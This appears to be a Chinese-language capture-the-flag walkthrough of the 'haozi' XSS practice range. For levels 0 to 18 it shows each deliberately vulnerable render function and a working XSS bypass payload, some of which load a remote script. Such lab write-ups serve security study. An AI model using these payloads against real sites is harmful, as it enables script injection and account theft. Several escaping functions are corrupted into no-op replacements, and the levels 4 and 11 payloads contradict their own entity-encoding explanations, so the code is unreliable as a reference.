耗子XSS靶场地址:xss.haozi.me/
github源代码地址:github.com/haozi/xss-d…
最开始命名一个昵称。
第0关
服务端代码,没有任何过滤
function render (input) {
return '<div>' + input + '</div>'
}
通关payload
<script>alert(1)</script>
攻击效果
<div><script>alert(1)</script></div>
第1关
服务端没有过滤,textarea标签可以被闭合。
服务端代码
function render (input) {
return '<textarea>' + input + '</textarea>'
}
通关payload
</textarea><script>alert(1)</script><textarea>
攻击效果
<textarea></textarea><script>alert(1)</script><textarea></textarea>
第2关
将value转化为字符串
服务端代码
function render (input) {
return '<input type="name" value="' + input + '">'
}
通关payload
"><"<script>alert(1)</script>>
攻击效果
<input type="name" value=""><"<script>alert(1)</script>>">
第3关
借助正则表达式过滤圆括号和方括号。
服务端代码
function render (input) {
const stripBracketsRe = /[()]/g
input = input.replace(stripBracketsRe, '')
return input
}
通关payload
<script>alert`1`</script>
攻击效果
<script>alert`1`</script>
第4关
svg标签中可以直接执行html实体编码字符,圆括号、方括号、反引号已经被过滤。
服务端代码
function render (input) {
const stripBracketsRe = /[()`]/g
input = input.replace(stripBracketsRe, '')
return input
}
通关payload
<svg><script>alert(1)</script>
攻击效果
<svg><script>alert(1)</script>
第5关
过滤注释符,涉及对称注释和非对称注释。
服务端代码
function render (input) {
input = input.replace(/-->/g, '😂')
return '<!-- ' + input + ' -->'
}
通关payload
--!><script>alert(1)</script>
攻击效果
<!-- --!><script>alert(1)</script> -->
第6关
auto或on开头的标签而且=或>结尾的属性替换成下划线。
Javascript通常以分号结尾,有换行符可以绕过
服务端代码
function render (input) {
input = input.replace(/auto|on.*=|>/ig, '_')
return `<input value=1 ${input} type="text">`
}
通关payload
type="image" src="xxx" onerror
="alert(1)"
攻击效果
<input value=1 type="image" src="xxx" onerror
="alert(1)" type="text">
第7关
标签不闭合绕过
服务端代码
function render (input) {
const stripTagsRe = /<\/?[^>]+>/gi
input = input.replace(stripTagsRe, '')
return `<article>${input}</article>`
}
通关payload
<img src="xxx" onerror="alert(1)"
攻击效果
<article><img src="xxx" onerror="alert(1)"</article>
第8关
style标签被过滤,可以使用换行符、空格、制表符绕过
服务端代码
function render (src) {
src = src.replace(/<\/style>/ig, '/* \u574F\u4EBA */')
return `
<style>
${src}
</style>
`
}
通关payload
</style
><img src="xxx" onerror="alert(1)"
攻击效果
<style>
</style
><img src="xxx" onerror="alert(1)"
</style>
第9关
输入URL并闭合引号绕过
服务端代码
function render (input) {
let domainRe = /^https?:\/\/www\.segmentfault\.com/
if (domainRe.test(input)) {
return `<script src="${input}"></script>`
}
return 'Invalid URL'
}
通关payload
https://www.segmentfault.com/?id=123456><""img src="xxx"onerror=alert(1)>
攻击效果
<script src="https://www.segmentfault.com/?id=123456><""img src="xxx"onerror=alert(1)>"></script>
第10关
@符号跳转绕过
服务端代码
function render (input) {
function escapeHtml(s) {
return s.replace(/&/g, '&')
.replace(/'/g, ''')
.replace(/"/g, '"')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/\//g, '/')
}
const domainRe = /^https?:\/\/www\.segmentfault\.com/
if (domainRe.test(input)) {
return `<script src="${escapeHtml(input)}"></script>`
}
return 'Invalid URL'
}
通关payload
https://www.segmentfault.com@xss.haozi.me/j.js
攻击效果
<script src="https://www.segmentfault.com@xss.haozi.me/j.js
"></script>
第11关
html实体编码绕过
服务端代码
function render (input) {
input = input.toUpperCase()
return `<h1>${input}</h1>`
}
通关payload
<img src="x" onerror=alert(1)>
攻击效果
<h1><IMG SRC="X" ONERROR=alert(1)></h1>
第12关
script替换为空,且不论大小写
服务端代码
function render (input) {
input = input.replace(/script/ig, '')
input = input.toUpperCase()
return '<h1>' + input + '</h1>'
}
通关payload
<scscriptript src="https://www.segmentfault.com.haozi.me/j.js"></scscriptript>>
攻击效果
<h1><SCRIPT SRC="HTTPS://WWW.SEGMENTFAULT.COM.HAOZI.ME/J.JS"></SCRIPT>></h1>
第13关
//是js的单行注释符,可以通过换行来绕过,再用-->将后面的')注释掉。
服务端代码
function render (input) {
input = input.replace(/[</"']/g, '')
return `
<script>
// alert('${input}')
</script>
`
}
通关payload
alert(1);
-->
攻击效果
<script>
// alert('
alert(1);
-->')
</script>
第14关
ſ字符,是古英语中s的写法,ſ转换为大写后正好为S。
服务端代码
function render (input) {
input = input.replace(/<([a-zA-Z])/g, '<_$1')
input = input.toUpperCase()
return '<h1>' + input + '</h1>'
}
通关payload
<ſcript src="https://www.segmentfault.com.haozi.me/j.js"></script>
攻击效果
<h1><SCRIPT SRC="HTTPS://WWW.SEGMENTFAULT.COM.HAOZI.ME/J.JS"></SCRIPT></h1>
第15关
input在img标签内,html实体编码可以被直接解析。
服务端代码
function render (input) {
function escapeHtml(s) {
return s.replace(/&/g, '&')
.replace(/'/g, ''')
.replace(/"/g, '"')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/\//g, '/')
}
return `<img src onerror="console.error('${escapeHtml(input)}')">`
}
通关payload
');alert('1
攻击效果
<img src onerror="console.error('');alert('1')">
第16关
window是浏览器的窗口
服务端代码
function render (input) {
return `
<script>
window.data = ${input}
</script>
`
}
通关payload
'';alert(1)
攻击效果
<script>
window.data = '';alert(1)
</script>
第17关
"被转义成"正好可以闭合console.log("")。
服务端代码
// from alf.nu
function render (s) {
function escapeJs (s) {
return String(s)
.replace(/\\/g, '\\\\')
.replace(/'/g, '\\\'')
.replace(/"/g, '\\"')
.replace(/`/g, '\\`')
.replace(/</g, '\\74')
.replace(/>/g, '\\76')
.replace(/\//g, '\\/')
.replace(/\n/g, '\\n')
.replace(/\r/g, '\\r')
.replace(/\t/g, '\\t')
.replace(/\f/g, '\\f')
.replace(/\v/g, '\\v')
// .replace(/\b/g, '\\b')
.replace(/\0/g, '\\0')
}
s = escapeJs(s)
return `
<script>
var url = 'javascript:console.log("${s}")'
var a = document.createElement('a')
a.href = url
document.body.appendChild(a)
a.click()
</script>
`
}
通关payload
"),alert(1)("
攻击效果
<script>
var url = 'javascript:console.log("\"),alert(1)(\"")'
var a = document.createElement('a')
a.href = url
document.body.appendChild(a)
a.click()
</script>
第18关
"替换为\"
服务端代码
// from alf.nu
function escape (s) {
s = s.replace(/"/g, '\\"')
return '<script>console.log("' + s + '");</script>'
}
通关payload
\");alert(1);</script>
攻击效果
<script>console.log("\\");alert(1);</script>");</script>